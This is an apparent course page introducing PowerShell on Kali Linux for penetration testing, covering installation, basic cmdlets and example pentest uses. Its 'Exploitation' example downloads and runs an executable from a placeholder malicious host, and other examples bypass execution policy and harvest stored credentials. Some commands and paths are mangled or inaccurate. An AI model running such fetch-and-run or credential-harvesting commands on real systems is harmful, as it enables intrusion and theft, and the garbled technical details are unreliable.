# Course #456: Powershell Penetration Testing
## Section 1: Introduction to Powershell on Kali Linux
### Overview
Powershell is a powerful task automation and configuration management framework from Microsoft, consisting of a command-line shell and an associated scripting language. It is integral to system administration and automated tasks, but its uses extend far into penetration testing and ethical hacking. This section provides the necessary steps to install and configure Powershell on Kali Linux, basic usage patterns, and real-world application scenarios for penetration testing.
### Installation and Configuration on Kali Linux
#### Prerequisites
Before installing Powershell on Kali Linux, ensure you have the following:
– A working installation of Kali Linux (preferably the latest version).
– Administrative privileges to perform installation steps (using `sudo`).
#### Step 1: Updating Your System
The first step in installing Powershell is to ensure that your system is updated. Open your terminal and execute the following command:
"`bash
sudo apt update && sudo apt upgrade -y
"`
This command updates the list of available packages and their versions and upgrades any outdated packages.
#### Step 2: Installing Dependencies
Powershell requires some additional packages to function correctly. Install these dependencies by running:
"`bash
sudo apt install -y wget apt-transport-https software-properties-common
"`
#### Step 3: Downloading Powershell
Next, you need to download the Powershell package. Use the following command to download the latest version:
"`bash
wget https://github.com/PowerShell/PowerShell/releases/latest/download/powershell-$(uname -s)-$(uname -m).tar.gz
"`
#### Step 4: Extracting the Package
Once the download is complete, extract the tarball using the following command:
"`bash
tar -xvf powershell-*.tar.gz
"`
#### Step 5: Installing Powershell
Navigate to the extracted folder and run the installation script:
"`bash
cd powershell-*
sudo ./install.sh
"`
#### Step 6: Starting Powershell
After successful installation, you can start Powershell by typing the following command in your terminal:
"`bash
pwsh
"`
You should see a Powershell prompt indicating that it is ready for commands.
### Step-by-Step Usage and Real-World Use Cases
#### Basic Commands
Once you have Powershell running, familiarize yourself with some basic commands:
– **Get-Command**: Lists all available cmdlets.
– **Get-Help**: Provides help documentation for cmdlets.
– **Get-Process**: Displays a list of running processes.
##### Example:
"`powershell
Get-Command
"`
This command will list all commands available in the Powershell environment.
#### Real-World Use Cases
1. **Reconnaissance**
Powershell can be used to gather information about the operating environment.
[/dm_code_snippet]powershell
Get-NetIPAddress
Get-NetAdapter
[/dm_code_snippet]
The above commands retrieve network adapters and their respective IP addresses.
2. **Exploitation**
You can create malicious payloads directly from the Powershell console.
[/dm_code_snippet]powershell
Invoke-WebRequest -Uri "http://malicious.url/payload.exe" -OutFile "C:UsersPublicpayload.exe"
Start-Process "C:UsersPublicpayload.exe"
[/dm_code_snippet]
This command downloads an executable from a malicious URL and starts the process, demonstrating exploitation techniques.
3. **Post-Exploitation**
After gaining access, Powershell can help maintain access or extract data.
[/dm_code_snippet]powershell
Get-Content C:pathtoimportantfile.txt
[/dm_code_snippet]
This retrieves the content of a file that may contain sensitive information.
### Detailed Technical Explanations
#### Cmdlets and Scripting in Powershell
Powershell’s commands, known as cmdlets (pronounced "command-lets"), follow a verb-noun format. For example, `Get-Process` retrieves information about processes, while `Stop-Process` terminates them.
##### Example Cmdlet:
"`powershell
Get-Process | Where-Object { $_.CPU -gt 100 }
"`
This command filters processes that consume more than 100 CPU cycles.
#### Script Execution Policies
Powershell has a built-in security feature called execution policies that prevent the execution of malicious scripts. You may need to adjust this policy, especially in a pentest scenario.
"`powershell
Set-ExecutionPolicy Unrestricted -Scope Process
"`
This command allows scripts to run for the current Powershell session without restrictions.
### External Reference Links
– [Official PowerShell GitHub Repository](https://github.com/PowerShell/PowerShell)
– [PowerShell Documentation](https://docs.microsoft.com/en-us/powershell/)
– [Cybersecurity and Ethical Hacking Resources](https://www.kali.org/docs/)
### Code Examples
The following examples highlight how to use Powershell commands effectively during a penetration test.
#### Example 1: User Enumeration
To enumerate users in a network, you can use the following cmdlet:
"`powershell
Get-LocalUser
"`
This command lists all local users on the machine.
#### Example 2: Network Scanning
You can also use Powershell to perform a basic network scan:
"`powershell
Test-Connection -ComputerName (1..254 | ForEach-Object {"192.168.1.$_"}) -Count 1
"`
This scans IPs from `192.168.1.1` to `192.168.1.254`.
#### Example 3: Credential Harvesting
Powershell can be utilized to extract credentials from a compromised machine:
"`powershell
Get-StoredCredential -Target "Windows Credentials"
"`
This retrieves stored Windows credentials, highlighting the importance of secure storage of sensitive information.
### Conclusion
This section covers the installation and configuration of Powershell on Kali Linux, basic command usage, and real-world scenarios for ethical hacking and penetration testing. With the ability to write scripts and automate tasks, Powershell has become an indispensable tool for cybersecurity professionals.
—
Made by pablo rotem / פבלו רותם